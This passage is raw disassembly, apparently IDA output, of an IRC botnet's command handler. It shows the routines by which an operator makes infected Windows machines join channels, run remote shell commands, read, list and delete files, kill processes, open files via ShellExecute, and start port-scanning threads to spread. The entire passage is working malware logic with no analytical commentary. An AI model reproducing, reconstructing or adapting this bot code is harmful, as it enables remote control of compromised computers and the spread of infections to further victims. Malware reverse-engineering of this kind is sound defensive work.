		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_401C33
		jmp	loc_40B2CA
; ---------------------------------------------------------------------------


loc_40AA9A:				; CODE XREF: sub_4078FA+1FC3j
					; sub_4078FA+1FD7j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		lea	edx, [eax+1]


loc_40AAA7:				; CODE XREF: sub_4078FA+31B2j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40AAA7
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40AAB8:				; CODE XREF: sub_4078FA+31C3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AAB8
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset dword_425A58
		push	eax
		call	sub_412BB5
		push	0
		push	0
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	esi
		push	[ebp+var_8]
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_401CA7
		add	esp, 2Ch
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AB1D:				; CODE XREF: sub_4078FA+1F9Bj
					; sub_4078FA+1FAFj
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		lea	edx, [eax+1]


loc_40AB2A:				; CODE XREF: sub_4078FA+3235j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40AB2A
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40AB3B:				; CODE XREF: sub_4078FA+3246j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AB3B
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	0
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	esi
		push	[ebp+var_8]
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_401CA7


loc_40AB80:				; CODE XREF: sub_4078FA+52BCj
		add	esp, 20h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AB88:				; CODE XREF: sub_4078FA+1F73j
					; sub_4078FA+1F87j
		cmp	[ebp+var_14], 0
		jz	loc_407B7B
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		push	eax
		push	[ebp+var_8]
		call	sub_401B23
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax
		call	sub_412BB5
		add	esp, 14h


loc_40ABC7:				; CODE XREF: sub_4078FA+38BCj
					; sub_4078FA+4C47j
		cmp	[ebp+var_C], 0
		jnz	short loc_40ABEA
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40ABEA:				; CODE XREF: sub_4078FA+32D1j
					; sub_4078FA+4405j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		jmp	loc_40D1A1
; ---------------------------------------------------------------------------


loc_40ABFB:				; CODE XREF: sub_4078FA+1E33j
					; sub_4078FA+1E47j
		push	[ebp+var_8]
		push	[ebp+arg_1C]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		jz	short loc_40AC96
		push	ebx
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jz	short loc_40AC84
		push	esi
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax
		call	sub_412BB5
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AC84:				; CODE XREF: sub_4078FA+3336j
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AC96:				; CODE XREF: sub_4078FA+331Fj
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_410086
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 24h
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40ACE0:				; CODE XREF: sub_4078FA+1B62j
					; sub_4078FA+1B76j
		push	offset aR	; "r"
		push	[ebp+var_8]
		call	sub_413393
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jz	short loc_40AD5E
		push	edi
		mov	esi, 200h
		push	esi
		push	eax
		call	sub_4142F5
		add	esp, 0Ch
		jmp	short loc_40AD38
; ---------------------------------------------------------------------------


loc_40AD0D:				; CODE XREF: sub_4078FA+3440j
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		push	edi
		lea	eax, [ebp+var_2E0]
		push	esi
		push	eax
		call	sub_4142F5
		add	esp, 20h


loc_40AD38:				; CODE XREF: sub_4078FA+3411j
		test	eax, eax
		jnz	short loc_40AD0D
		push	edi
		call	sub_412F93
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		jmp	loc_40AE37
; ---------------------------------------------------------------------------


loc_40AD5E:				; CODE XREF: sub_4078FA+33FFj
		push	[ebp+var_8]
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"


loc_40AD66:				; CODE XREF: sub_4078FA+2F07j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40AE14
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: sub_4078FA+1B3Aj
					; sub_4078FA+1B4Ej
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		mov	edi, ebx
		dec	edi


loc_40AD98:				; CODE XREF: sub_4078FA+34A4j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_40AD98
		mov	esi, offset asc_420328 ; "\n"
		push	ebx
		movsw
		call	sub_40DB6D
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40ADBF
		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	short loc_40AE0C
; ---------------------------------------------------------------------------


loc_40ADBF:				; CODE XREF: sub_4078FA+34BCj
		push	ebx
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40AE37
; ---------------------------------------------------------------------------


loc_40ADD0:				; CODE XREF: sub_4078FA+1B12j
					; sub_4078FA+1B26j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	eax
		call	sub_4057CD
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AE07
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	short loc_40AE0C
; ---------------------------------------------------------------------------


loc_40AE07:				; CODE XREF: sub_4078FA+3504j
		push	offset aMircCommandSen ; "[mIRC]: Command sent."


loc_40AE0C:				; CODE XREF: sub_4078FA+1C34j
					; sub_4078FA+1C3Ej ...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40AE14:				; CODE XREF: sub_4078FA+1BAFj
					; sub_4078FA+1C0Cj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40AE37
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40AE37:				; CODE XREF: sub_4078FA+3385j
					; sub_4078FA+3397j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AE49:				; CODE XREF: sub_4078FA+1AEAj
					; sub_4078FA+1AFEj
		push	0
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_4030C4
		push	[ebp+var_8]
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40AE69:				; CODE XREF: sub_4078FA+1AC2j
					; sub_4078FA+1AD6j
		push	20h
		push	[ebp+var_8]
		call	ds:dword_41F0A0	; SetFileAttributesA
		push	[ebp+var_8]
		call	ds:dword_41F0B8	; DeleteFileA
		test	eax, eax
		jz	short loc_40AE8B
		push	[ebp+var_8]
		push	offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'."
		jmp	short loc_40AE96
; ---------------------------------------------------------------------------


loc_40AE8B:				; CODE XREF: sub_4078FA+3585j
		push	offset aFile	; "[FILE]:"
		call	sub_405708
		push	eax


loc_40AE96:				; CODE XREF: sub_4078FA+358Fj
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D


loc_40AEA7:				; CODE XREF: sub_4078FA+36F0j
		add	esp, 10h


loc_40AEAA:				; CODE XREF: sub_4078FA+3708j
					; sub_4078FA+4ABCj
		cmp	[ebp+var_C], 0
		jnz	loc_409015
		push	0
		jmp	loc_408FFA
; ---------------------------------------------------------------------------


loc_40AEBB:				; CODE XREF: sub_4078FA+1A9Aj
					; sub_4078FA+1AAEj
		push	[ebp+var_8]
		call	sub_412F42
		push	eax
		call	sub_4074C6
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+var_8]
		cmp	eax, esi
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AEE2
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40AEE7
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_4078FA+35DFj
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40AEE7:				; CODE XREF: sub_4078FA+35E6j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	loc_409018
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_40AF1C:				; CODE XREF: sub_4078FA+1A72j
					; sub_4078FA+1A86j
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4070E8
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_40AF55
		push	[ebp+var_8]
		push	offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s"


loc_40AF46:				; CODE XREF: sub_4078FA+299Bj
		lea	eax, [ebp+var_2E0]


loc_40AF4C:				; CODE XREF: sub_4078FA+2BCFj
					; sub_4078FA+3694j ...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40AF55:				; CODE XREF: sub_4078FA+29B0j
					; sub_4078FA+2B73j ...
		cmp	[ebp+var_C], esi
		jnz	loc_409015
		push	esi
		jmp	loc_408FFA
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: sub_4078FA+1A4Aj
					; sub_4078FA+1A5Ej
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_4]
		call	sub_4070E8
		add	esp, 1Ch
		push	[ebp+var_8]
		cmp	eax, 1
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AF90
		push	offset aProcProcessK_1 ; "[PROC]: Process killed: %s"
		jmp	short loc_40AF4C
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: sub_4078FA+368Dj
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	short loc_40AF4C
; ---------------------------------------------------------------------------


loc_40AF97:				; CODE XREF: sub_4078FA+1A22j
					; sub_4078FA+1A36j
		mov	esi, [ebp+var_8]
		push	esi
		call	dword_433514	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40AFBF
		push	2
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_433590	; gethostbyaddr
		test	eax, eax
		jz	short loc_40AFEF
		push	dword ptr [eax]
		jmp	short loc_40AFD8
; ---------------------------------------------------------------------------


loc_40AFBF:				; CODE XREF: sub_4078FA+36ADj
		push	esi
		call	dword_433500	; gethostbyname
		test	eax, eax
		jz	short loc_40AFEF
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_433520	; inet_ntoa
		push	eax


loc_40AFD8:				; CODE XREF: sub_4078FA+36C3j
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
		push	eax
		call	sub_412BB5
		jmp	loc_40AEA7
; ---------------------------------------------------------------------------


loc_40AFEF:				; CODE XREF: sub_4078FA+36BFj
					; sub_4078FA+36CEj
		lea	eax, [ebp+var_2E0]
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AEAA
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: sub_4078FA+19FAj
					; sub_4078FA+1A0Ej
		push	7Fh
		push	[ebp+var_8]
		push	[ebp+arg_14]
		call	sub_412C40
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax
		call	sub_412BB5
		add	esp, 18h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40B030:				; CODE XREF: sub_4078FA+19D2j
					; sub_4078FA+19E6j
		push	5
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	offset aOpen	; "open"
		push	esi
		call	dword_4335A8	; ShellExecuteA
		push	[ebp+var_8]
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40B05C
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40B05C:				; CODE XREF: sub_4078FA+3756j
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40B066:				; CODE XREF: sub_4078FA+19AAj
					; sub_4078FA+19BEj
		mov	eax, [ebp+var_8]
		mov	cl, [eax]
		mov	byte_42AE5C, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_40C46F
; ---------------------------------------------------------------------------


loc_40B07F:				; CODE XREF: sub_4078FA+1982j
					; sub_4078FA+1996j
		push	[ebp+var_8]
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		push	0
		push	0
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_40E7B0
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		jmp	loc_40A841
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_4078FA+195Aj
					; sub_4078FA+196Ej
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_407B7B
		push	edi
		call	sub_412F42
		mov	esi, 1F4h
		cmp	eax, esi
		pop	ecx
		jge	loc_407B7B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F000	; Sleep
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	dword_4335AC	; closesocket
		push	[ebp+var_18]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_43434C[eax]
		call	ds:dword_41F0C8	; TerminateThread
		push	edi
		call	sub_412F42
		imul	eax, 234h
		and	dword_43434C[eax], 0
		push	edi
		call	sub_412F42
		imul	eax, 234h
		and	byte ptr dword_434138[eax], 0
		pop	ecx
		pop	ecx
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B17E:				; CODE XREF: sub_4078FA+1932j
					; sub_4078FA+1946j
		mov	edi, [ebp+var_8]
		push	4
		mov	esi, offset aAll ; "all"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B1BB
		call	sub_41105B
		test	eax, eax
		jle	short loc_40B1A3
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40C532
; ---------------------------------------------------------------------------


loc_40B1A3:				; CODE XREF: sub_4078FA+389Cj
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."


loc_40B1A8:				; CODE XREF: sub_4078FA+420Ej
					; sub_4078FA+422Dj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40ABC7
; ---------------------------------------------------------------------------


loc_40B1BB:				; CODE XREF: sub_4078FA+3893j
		mov	edi, [ebp+var_1C]
		jmp	short loc_40B22D
; ---------------------------------------------------------------------------


loc_40B1C0:				; CODE XREF: sub_4078FA+3937j
		mov	esi, [ebp+edi*4+var_A4]
		test	esi, esi
		jz	loc_407B7B
		push	esi
		call	sub_412F42
		push	eax
		call	sub_410FD3
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E0]
		jz	short loc_40B1EF
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_40B1F4
; ---------------------------------------------------------------------------


loc_40B1EF:				; CODE XREF: sub_4078FA+38ECj
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_40B1F4:				; CODE XREF: sub_4078FA+38F3j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40B220
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40B220:				; CODE XREF: sub_4078FA+3907j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40B22D:				; CODE XREF: sub_4078FA+38C4j
		inc	edi
		cmp	edi, 20h
		jb	short loc_40B1C0
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B238:				; CODE XREF: sub_4078FA+190Aj
					; sub_4078FA+191Ej
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		push	offset aS_4	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	short loc_40B2C5
; ---------------------------------------------------------------------------


loc_40B26F:				; CODE XREF: sub_4078FA+18E2j
					; sub_4078FA+18F6j
		push	[ebp+var_8]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	short loc_40B2C5
; ---------------------------------------------------------------------------


loc_40B289:				; CODE XREF: sub_4078FA+18BAj
					; sub_4078FA+18CEj
		push	[ebp+ebx+var_9C]
		push	[ebp+var_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40B2AD:				; CODE XREF: sub_4078FA+1892j
					; sub_4078FA+18A6j
		push	[ebp+var_8]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."


loc_40B2C5:				; CODE XREF: sub_4078FA+3135j
					; sub_4078FA+3973j ...
		call	sub_401CA7


loc_40B2CA:				; CODE XREF: sub_4078FA+319Bj
		add	esp, 14h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40B2D2:				; CODE XREF: sub_4078FA+1858j
					; sub_4078FA+186Cj
		mov	cl, byte_42A1B2
		and	[ebp+arg_0], 0
		test	cl, cl
		mov	edx, offset byte_42A1B2
		jz	loc_407B7B
		mov	eax, edx


loc_40B2EB:				; CODE XREF: sub_4078FA+39FAj
		inc	[ebp+arg_0]
		add	eax, 0Bh
		cmp	byte ptr [eax],	0
		jnz	short loc_40B2EB
		test	cl, cl
		jz	loc_407B7B
		mov	[ebp+var_1C], edx


loc_40B301:				; CODE XREF: sub_4078FA+3CDEj
		push	9
		call	sub_4110DA
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_40B351
		push	ecx
		lea	eax, [ebp+var_2E0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 20h
		jmp	loc_40B5CE
; ---------------------------------------------------------------------------


loc_40B351:				; CODE XREF: sub_4078FA+3A21j
		or	[ebp+var_4C8], 0FFFFFFFFh
		xor	esi, esi
		cmp	dword_42A068, esi
		mov	[ebp+var_4CC], 0C8h
		mov	[ebp+var_4E0], 5
		mov	[ebp+var_4DC], esi
		mov	[ebp+arg_0], esi
		jz	short loc_40B3E4
		mov	edx, [ebp+var_1C]
		add	edx, 0FFFFFFF6h
		mov	edi, offset dword_42A068


loc_40B38A:				; CODE XREF: sub_4078FA+3ACCj
		mov	esi, edx
		lea	eax, [edi-28h]


loc_40B38F:				; CODE XREF: sub_4078FA+3AB1j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40B3B3
		test	cl, cl
		jz	short loc_40B3AD
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40B3B3
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40B38F


loc_40B3AD:				; CODE XREF: sub_4078FA+3A9Fj
		xor	esi, esi
		xor	eax, eax
		jmp	short loc_40B3BA
; ---------------------------------------------------------------------------


loc_40B3B3:				; CODE XREF: sub_4078FA+3A9Bj
					; sub_4078FA+3AA9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		xor	esi, esi


loc_40B3BA:				; CODE XREF: sub_4078FA+3AB7j
		cmp	eax, esi
		jz	short loc_40B3CA
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], esi
		jnz	short loc_40B38A
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_4078FA+3AC2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42A068[ecx]
		mov	[ebp+var_4E4], ecx
		mov	[ebp+var_4C8], eax


loc_40B3E4:				; CODE XREF: sub_4078FA+3A83j
					; sub_4078FA+3ACEj
		cmp	[ebp+var_4E4], esi
		jz	loc_40B5F5
		push	10h
		pop	esi
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_A8], esi
		call	dword_433418	; getsockname
		mov	al, [ebp+var_44B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C40
		xor	eax, eax
		cmp	[ebp+var_44B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C10
		add	esp, 14h
		xor	bl, bl
		test	esi, esi
		jle	short loc_40B48A


loc_40B46A:				; CODE XREF: sub_4078FA+3B8Ej
		test	eax, eax
		jz	short loc_40B48A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_67C]
		push	30h
		push	eax
		call	sub_412C10
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, esi
		jl	short loc_40B46A


loc_40B48A:				; CODE XREF: sub_4078FA+3B6Ej
					; sub_4078FA+3B72j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4E8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4C0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4BC], eax
		mov	ebx, 80h
		lea	eax, [ebp+var_5E8]
		push	ebx
		push	eax
		mov	[ebp+var_4B8], 1
		call	sub_412E0D
		xor	ecx, ecx
		add	esp, 0Ch
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 41FA76h
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40B4F2
		push	eax
		lea	eax, [ebp+var_568]
		push	ebx
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40B4F9
; ---------------------------------------------------------------------------


loc_40B4F2:				; CODE XREF: sub_4078FA+3BE3j
		and	[ebp+var_568], 0


loc_40B4F9:				; CODE XREF: sub_4078FA+3BF6j
		xor	esi, esi
		cmp	[ebp+var_4B8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40B50D
		mov	eax, offset aSequential	; "Sequential"


loc_40B50D:				; CODE XREF: sub_4078FA+3C0Cj
		push	[ebp+var_4CC]
		lea	ecx, [ebp+var_67C]
		push	[ebp+var_4DC]
		push	[ebp+var_4E0]
		push	[ebp+var_4E4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_67C]
		push	eax
		push	offset sub_4018D1
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B5EB
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40B5A0:				; CODE XREF: sub_4078FA+3CF9j
		cmp	[ebp+var_C], esi
		jnz	short loc_40B5C1
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40B5C1:				; CODE XREF: sub_4078FA+3CA9j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx


